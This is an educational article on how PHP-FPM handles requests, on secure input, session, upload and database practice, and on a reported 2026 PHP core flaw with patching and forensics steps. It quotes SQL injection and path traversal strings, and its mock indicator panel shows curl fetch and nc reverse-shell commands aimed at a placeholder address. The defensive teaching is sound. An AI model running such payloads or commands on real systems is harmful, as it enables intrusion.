From browser to interpreter: the lifecycle in PHP-FPM
In October 2026, security teams from Europe, the United States, and Canada published alerts regarding the exact same software. They urged millions of administrators to update PHP immediately, because an anonymous web request could end up executing code on their servers. To understand how a simple visit can lead to this, we must first follow the normal path of that visit.
When you type an address into your browser, your computer sends an HTTP request to the server. This is a text message containing a method (GET, POST), a path, headers, and sometimes a body. It is received by a web server like Nginx or Apache. That software knows how to serve images and CSS files on its own, but when the path ends in .php, it hands the work off to another process.
In most modern deployments, that process is PHP-FPM (FastCGI Process Manager). FPM maintains a group of worker processes, called a pool, which wait for requests. Nginx communicates with them via the FastCGI protocol, a socket through which the script path, headers, and body travel. An available worker takes the request, executes your script, and returns the response. Apache can also load PHP as a module within its own process (mod_php), and older servers launch it as a CGI program on every visit.
- Animated diagram of a FastCGI request arriving from Nginx to a PHP-FPM worker, being processed and cleaned up
- FastCGI
- Worker memory
- Cleanup
- Nginx
- FastCGI socket
- PHP-FPM pool
- Idle
- Processing
- Clean
- Cleaning up
- Response
- Worker
- $_GET
- $_POST
- $_SERVER
- q=shoes
- email=ana
- GET /shop.php
- empty
Superglobals are born with every request
Before executing the first line of your code, the interpreter parses the request and populates arrays that you can read from any function. These are called superglobals.
<?php
$method = $_SERVER['REQUEST_METHOD']; // GET, POST...
$search_query = $_GET['q'] ?? ''; // ?q=shoes in the URL
$email_address = $_POST['email'] ?? null; // form fields
$theme = $_COOKIE['theme'] ?? 'claro';
$uploaded_file = $_FILES['avatar'] ?? null; // uploaded filesEverything in $_GET, $_POST, $_COOKIE and $_FILES was written by the client, and the client could be an attacker running a script. Even part of $_SERVER, such as HTTP_USER_AGENT, is copied from headers that anyone can forge.

Fresh memory for every visit
PHP follows a model called share nothing. When the request ends, the worker frees the variables, closes the connections opened by the script, and remains clean for the next visit, which might be from a different user. This is why storing something in a global variable does not persist it for the next request; for that, we have sessions, databases, and caches.
This isolation is a security guarantee. If cleanup between one request and the next fails, a user's data or pointers might persist inside the same worker. With this detail, the 2026 story will make sense later on.

Input processing, sessions and file control
The golden rule is to validate what comes in and escape what goes out. Validation means rejecting anything that does not match the expected format, while escaping means converting data into harmless text suited to where it will be displayed. PHP provides filter_var for the former and htmlspecialchars for the latter.
<?php
$age = filter_var($_POST['age'] ?? '', FILTER_VALIDATE_INT,
['options' => ['min_range' => 18, 'max_range' => 120]]);
if ($age === false) {
http_response_code(422);
exit('Edad inválida');
}
$full_name = trim($_POST['full_name'] ?? '');
echo '<p>Hola, ' . htmlspecialchars($full_name, ENT_QUOTES, 'UTF-8') . '</p>';If you were to render $full_name without escaping, someone could register as <script>…</script> and their code would execute in every visitor's browser. This attack is known as XSS (cross-site scripting), and htmlspecialchars stops it by converting < into <.
Sessions and cookies
A session allows the server to remember who you are. PHP generates a random identifier, stores it in the PHPSESSID cookie, and saves your data on the server. The browser only keeps the key, never the content.
<?php
session_start([
'cookie_httponly' => true, // JavaScript cannot read it
'cookie_secure' => true, // it only travels over HTTPS
'cookie_samesite' => 'Lax', // it blocks submissions from other sites
]);
if (login_succeeded($account, $password_value)) {
session_regenerate_id(true); // new ID after authentication
$_SESSION['account_id'] = $account->id;
}Regenerating the identifier when you log in stops an attacker from forcing you into a session with an identifier they already know. The session mechanism also processes data before your script does anything, and that mechanism played a part in the 2026 incident.

File uploads out of the web server's reach
When someone uploads a file, PHP places it in a temporary folder and you decide what to do with it. The classic mistake is moving it to a public folder like /var/www/html/uploads while keeping the original name. If an attacker uploads foto.php with embedded code and then visits /uploads/foto.php, the web server treats it like any other script and executes it. That piece, called a webshell, gives them a console inside your server.
<?php
$f = $_FILES['avatar'];
if ($f['error'] !== UPLOAD_ERR_OK || $f['size'] > 2_000_000) {
exit('Archivo rechazado');
}
$mime_type = (new finfo(FILEINFO_MIME_TYPE))->file($f['tmp_name']);
$allowed_types = ['image/png' => 'png', 'image/jpeg' => 'jpg'];
if (!isset($allowed_types[$mime_type])) {
exit('Tipo no permitido');
}
$full_name = bin2hex(random_bytes(16)) . '.' . $allowed_types[$mime_type];
move_uploaded_file($f['tmp_name'], '/srv/app/storage/' . $full_name);The code checks the actual file content instead of trusting the extension, generates a random name, and stores the file in /srv/app/storage, a folder that the web server does not publish. To display the image, a script reads it and sends it with its correct type. Paths requested by the user deserve the exact same distrust, because a parameter like ../../etc/passwd can be used to escape the intended directory; use basename() or, better yet, a whitelist of allowed identifiers.

Secure persistence with PDO and prepared statements
PDO (PHP Data Objects) is the standard layer for interacting with MySQL, PostgreSQL, or SQLite using a unified interface. Danger arises when a query is constructed by concatenating user text.
<?php
// Vulnerable
$sql = "SELECT * FROM usuarios WHERE email = '" . $_POST['email'] . "'";
$pdo->query($sql);If someone sends ' OR '1'='1 as an email, the final query returns all users because the attacker's quote closed the string and what follows became part of the SQL. That is SQL injection. Interpolating the variable inside double quotes ("... '$email'") produces the exact same text, so it does not protect you either.

What a prepared statement does
A prepared statement separates code from data. First, you send the structure with placeholders, and then you send the values through a separate channel.
<?php
$pdo = new PDO('mysql:host=localhost;dbname=shop;charset=utf8mb4',
$dbUser, $dbPassword, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false,
]);
$stmt = $pdo->prepare('SELECT id, nombre FROM usuarios WHERE email = :email');
$stmt->execute(['email' => $_POST['email']]);
$account = $stmt->fetch(PDO::FETCH_ASSOC);With native preparation, the database engine receives and parses SELECT ... WHERE email = ? before knowing the value. When ' OR '1'='1 arrives, the query structure is already fixed, and that string can only occupy a data placeholder. No quote can break out of it.
- Query mode
- Native prepared statement
- Vulnerable concatenation
- Received email
- mysql> store
- Query syntax tree
- SELECT
- WHERE
- email =
- OR
- Altered structure
- Isolated parameterized data
- FROM
- users
- id, name
- Returns all users
- No matches: no email equals that text
- A single row only if the email matches exactly
PDO also has an emulation mode, which is enabled by default with MySQL. In this mode, PDO itself escapes the values and builds a complete text query before sending it. With a properly declared charset in the connection, this is usually secure, but protection relies on correct escaping on the PHP side, and there have been attacks using unusual character encodings against this type of escaping. Disabling ATTR_EMULATE_PREPARES ensures that separation is guaranteed by the database server.
Placeholders only work for values. A column name or a ORDER BY chosen by the user must be handled via a whitelist, for example by only accepting precio or fecha.
- PDO with native preparation in MySQL
- ATTR_EMULATE_PREPARES
- =
- false
- Network schema between the PHP process and the MySQL server with two successive packets
- PHP process
- MySQL server
- COM_STMT_PREPARE
- COM_STMT_EXECUTE
- SELECT id, nombre FROM usuarios WHERE email = ?
- SELECT … email = ?
- Valid syntax
- 1 · structure
- 2 · values
- Result
- ana@mail.com
The modern ecosystem with Composer, PSR-4 autoloading, and frameworks
A professional PHP project almost never starts with loose require. It starts with Composer, the language's dependency manager, and a composer.json file that declares the libraries and how your classes are loaded.
{
"require": {
"php": ">=8.3",
"monolog/monolog": "^3.0"
},
"autoload": {
"psr-4": { "App\\": "src/" }
}
}The PSR-4 rule is a community standard that translates namespaces into paths. The class App\Orders\Invoice lives in src/Orders/Invoice.php, and Composer generates a loader that looks for it there the first time you use it. With a single require 'vendor/autoload.php' in your entry point, all your classes and third-party ones are available.
- PSR-4 Resolution Diagram
- public/index.php
- vendor/composer · psr-4
- namespace → folders
- resolved file
- in memory
- new App\Pedidos\Factura()
- App\ → src/
- "App\": "src/"
- Pedidos/
- Factura
- + .php
- src/Pedidos/Factura.php
<?php
// public/index.php, the only PHP file inside the document root
require __DIR__ . '/../vendor/autoload.php';
use App\Orders\Invoice;
$invoice = new Invoice($orderId);This structure brings a security benefit that ties into file uploads. Only public/ is exposed to the web server, while src/, vendor/, the configuration, and uploaded files live one level up, where no one can request them via URL.

When to use Laravel, Symfony, or something smaller
Laravel and Symfony solve out of the box what you just saw built by hand, featuring routing, declarative validation, CSRF protection, well-configured sessions, and an ORM that uses prepared statements. Laravel prioritizes speed in building a full application; Symfony offers more configurable components, and Laravel uses several of them. For a small API or microservice, a microframework like Slim or a few loose components are enough without loading the entire machinery.
A framework protects your code, but it runs on top of the interpreter. If the flaw is in PHP itself, Laravel and Symfony are just as exposed as a ten-line script, and that is what happened in 2026.

Anatomy of the recent vulnerability and its root cause
The incident that shook the language in October 2026 was nicknamed PHP2Shell and groups two core vulnerabilities, CVE-2026-109618 and CVE-2026-109619. Both allow remote code execution without authentication, and both have a CVSS score of 9.2 out of 10.
CVE-2026-109618 takes advantage of how PHP handles an out-of-memory situation. When a script exceeds memory_limit, the interpreter aborts execution, and during that emergency path, memory can become corrupted. CVE-2026-109619 stems from an obsolete global state that leaves a use-after-free, meaning code that continues to use a memory block after it has been freed. Both are C memory-handling bugs within the interpreter, not defects in your application.
- PHP Heap upon exceeding memory_limit
- Memory status
- Stable
- Heap usage
- / 128 MB
- Orphaned pointers
- Heap memory blocks
- Script load
- MB
- Script load in megabytes
- In use
- Free
- Freed with orphaned pointer
- Limit
- Near the limit
- Corrupted heap
- memory_limit
- OOM interruption
- Cleanup aborted
The scope is broad because the vulnerable code is in the core. Installations serving web requests with PHP-FPM, Apache mod_php, CGI, FrankenPHP, or LiteSpeed are affected. The PHP project pointed to mod_php exposed to the internet as the highest-risk configuration.
| PHP Branch | First Fixed Version |
|---|---|
| 8.5 | 8.5.12 |
| 8.4 | 8.4.27 |
| 8.3 | 8.3.36 |
| 8.2 | 8.2.35 |
Any version below those remains vulnerable. PHP 8.1 and earlier no longer receive official support, so the only options are to migrate to a supported branch or rely on a patch released by the operating system distribution.
This bug has a useful precedent for comparison. In 2024, CVE-2024-4577 affected only PHP-CGI on Windows. A system character conversion transformed the soft hyphen (0xAD) into a regular hyphen after PHP had already run its checks, turning a URL parameter into a command-line option like -d. That was a configuration and encoding issue in an older deployment; PHP2Shell lives in the memory management shared by all deployment modes.
Exploitation mechanism and attack vector
Official advisories do not publish an exploit recipe, and what they do say should be read carefully. The temporary mitigations they recommend point to the involved pieces, including session upload progress tracking, error logging in PHP 8.5 fatal errors, and the memory limit. Indicators to look for in logs point in the same direction.
With those pieces, the chain described by researchers can be roughly reconstructed. An unauthenticated attacker sends a request with unusual or huge session parameters, a malformed upload, or deeply nested data. PHP processes this input before your script runs, so none of your validations can intervene. The request pushes the interpreter toward a fatal error or the memory limit.
During this emergency abort, a portion of the global state is not cleaned up as it should be. This is where the share-nothing promise from the first page is broken, because the FPM worker or Apache process stays alive and handles the next request with a pointer targeting already freed memory. If the attacker manages to place their own data in that space, they control what the interpreter believes is an internal structure and can redirect execution toward their own code. The result is a shell with the permissions of the web server user, such as www-data. According to the advisories, the flaws can also leak memory content, which on a web server includes data from other requests.

Why it made such huge waves
The exploitation does not require a vulnerable script or a neglected plugin; a server responding to requests with an affected version is enough. Exploitation attempts occurred shortly after publication. Reports on active exploitation do not match across all sources, but several confirm it, which is why any PHP instance exposed to the internet is considered at risk until it is patched and investigated. CISA published its alert on October 21, 2026, and ENISA signed a joint statement with other agencies.
![Official CISA seal [mat:img5]](/_next/image?url=https%3A%2F%2Fresources.gurwi.com%2Forganizations%2Fead4c2c4-d50b-4ef4-a503-e26bccf2deb5%2Fcited%2Fa0b4bb2d-f282-4d76-be97-8ef6a93284fc.png&w=1080&q=80)
Intrusion detection, patching, and production hardening
The response starts with an inventory, because PHP appears in places no one remembers, such as container images, hosting panels, FPM pools, and vendor appliances. Then comes the patch, using your distribution's security package or the official version. Afterward, you must restart FPM, Apache, PHP-CGI, and any long-running workers, because a running process retains the old code in memory. Container images must be rebuilt, since updating the host does not touch what is inside.
If patching is delayed, advisories suggest isolating the server from the public network and applying temporary controls.
; php.ini, solo mientras llega la actualización
session.upload_progress.enabled = Off
; en PHP 8.5
fatal_error_backtraces = 0
; contra CVE-2026-109618, con un límite de memoria del contenedor o cgroup
memory_limit = -1memory_limit = -1 removes the PHP limit and avoids the faulty emergency path, which is why it requires setting the cap at another layer, such as a Linux cgroup. None of these adjustments close the bug.
Looking for signs of compromise
Logs are reviewed at least since October 17, 2026. The strongest signal is a PHP worker spawning processes it should never launch, such as sh, bash, curl, wget, or nc. Unusual PHPSESSID values, bursts of 5xx errors, workers crashing due to out-of-memory errors, outbound connections to unknown addresses, and new .php files in public folders also count.
# Versions and running workers
php -v
ps auxww | egrep 'php|php-fpm|php-cgi|apache2|httpd'
# Processes executed since October 17
ausearch -ts 2026-10-17 -m EXECVE -i | \
egrep 'php-fpm|www-data|curl|wget|nc|/bin/sh|/bin/bash'
# PHP files created or modified in web folders
find /var/www /srv/www -type f -name '*.php' -newermt '2026-10-17' -ls 2>/dev/null
# Open outgoing connections
ss -tpn- Event severity
- Critical alert: /bin/sh spawn
- Forensic analysis terminal
- ausearch · ss
- EXECVE uid=www-data ppid=
- php-fpm: pool www
- exe=
- /bin/sh
- -c "curl -s 203.0.113.9/x"
- IoC: PHP worker spawns shell
- GET /upload.php 200 Cookie: PHPSESSID=
- AAAA%00../..//AAAA
- (63 KB)
- IoC: malformed PHPSESSID
- ESTAB php-fpm pid=412 10.0.4.7:51844 →
- IoC: unknown outbound connection
- EXECVE uid=www-data exe=
- /usr/bin/nc
- 203.0.113.9 4444 -e /bin/sh
- IoC: PHP worker spawns nc
- Filters
- Anomalous processes
- Abnormal sessions
- Outbound connections
- High alert: PHPSESSID with unusual value
- High alert: outbound traffic to 203.0.113.9
- Indicator: a PHP worker spawns sh and nc. Two lines match.
- Indicator: session cookie with null bytes and paths. One line matches.
- Indicator: open connection to an unknown address. One line matches.
If anything suspicious appears, order matters. Isolate the machine, capture the workers' memory before restarting (a restart wipes heap evidence), and preserve all logs. Next, rotate database credentials, API keys, and session signing keys from a clean machine, and rebuild the server from a trusted image rather than cleaning it manually.
PHP2Shell leaves a lesson for both developers and deployers. Your validation, your prepared statements, and your framework protect the application logic, but they run on a runtime that is also software with bugs. Keeping that runtime on a supported branch, restarting it when updated, and monitoring which processes it spawns are all part of the same job as writing prepare() instead of concatenating.
Sources
References
- Critical Vulnerabilities in PHP - CERT-EU — 2026
- Hypertext Preprocessor
- Joint statement on critical PHP vulnerabilities — 2026
- PHP: News Archive - 2026 — 2026
- Critical Vulnerabilities in PHP Require Immediate Patching - CISA — 2026
- Critical PHP Core RCE Vulnerabilities (php2shell aka CVE ... — 2026
- Technical Advisory: PHP2Shell Pre-Auth RCE (CVE-2026- ... — 2026
- PHP CGI Argument Injection Vulnerability (CVE-2024-4577) — 2024
- CVE-2024-4577 : PHP-CGI OS Command Injection Vulnerability — 2024
- PHP2Shell: Critical PHP RCE Flaws CVE-2026-109618 and CVE-2026-109619 — 2026
- Responding to core PHP vulnerabilities CVE-2026-109618 and CVE-2026-109619 | Google Cloud Blog — 2026
- Security Vulnerability: Critical PHP Core RCE Vulnerabilities ... — 2026
- PHP: Two Critical Core Vulnerabilities Put Millions of Web ...
- Threat Brief: Critical Vulnerabilities in PHP: CVE-2026-109618 ... — 2026
- AL26-026 - Critical vulnerabilities impacting PHP - CVE- ... — 2026
- Addressing PHP2Shell CVE-2026-109618 and CVE-2026-109619 ... — 2026
Audiovisual sources
- An American flag and a flag bearing the seal of the Cybersecurity and Infrastructure Security Agency (which features an eagle holding a shield with elements of a skyline on it) flank a large upright square panel bearing the same CISA seal. On the wall to the right of the panel and the flags, a row of digital clocks shows the time in the four major U.S. time zones. — cybersecuritydive.com
- European Union Agency for Cybersecurity (ENISA) — devex.com
- Critical PHP RCE CVE-2026-109618 and CVE-2026-109619 - SecureLayer7 — blog.securelayer7.net
- PHP CGI Argument Injection (CVE-2024-4577)- Vulnerability Analysis and Exploitation — cyfirma.com
- File:CISA Logo.png — Department of Homeland Security - Cybersecurity and Infrastructure Security Agency, Wikimedia Commons · Public domain
Frequently asked questions
What is PHP-FPM and what does it do?
PHP-FPM (FastCGI Process Manager) maintains a group of worker processes, called a pool, which wait for requests. Nginx communicates with them via the FastCGI protocol, sending the script path, headers, and body, and an available worker executes the script and returns the response.
What are superglobals in PHP?
Superglobals are arrays that the interpreter populates before executing the first line of code, and they can be read from any function. They include $_GET, $_POST, $_COOKIE, $_FILES and $_SERVER, and their contents were written by the client, which could be an attacker.
What does share nothing mean in PHP?
PHP follows a share nothing model: when a request ends, the worker frees the variables, closes the connections opened by the script, and remains clean for the next visit. This is why storing something in a global variable does not persist it for the next request.
Why is it dangerous to save uploaded files in a public folder with the original name?
If an attacker uploads foto.php with embedded code to a public folder like /var/www/html/uploads and then visits it, the web server executes it as a script. That piece, called a webshell, gives them a console inside your server.
How does a prepared statement prevent SQL injection?
A prepared statement separates code from data: the structure with placeholders is sent first, and the values travel through a separate channel. With native preparation, the database parses the query before knowing the value, so a string like ' OR '1'='1 can only occupy a data placeholder.


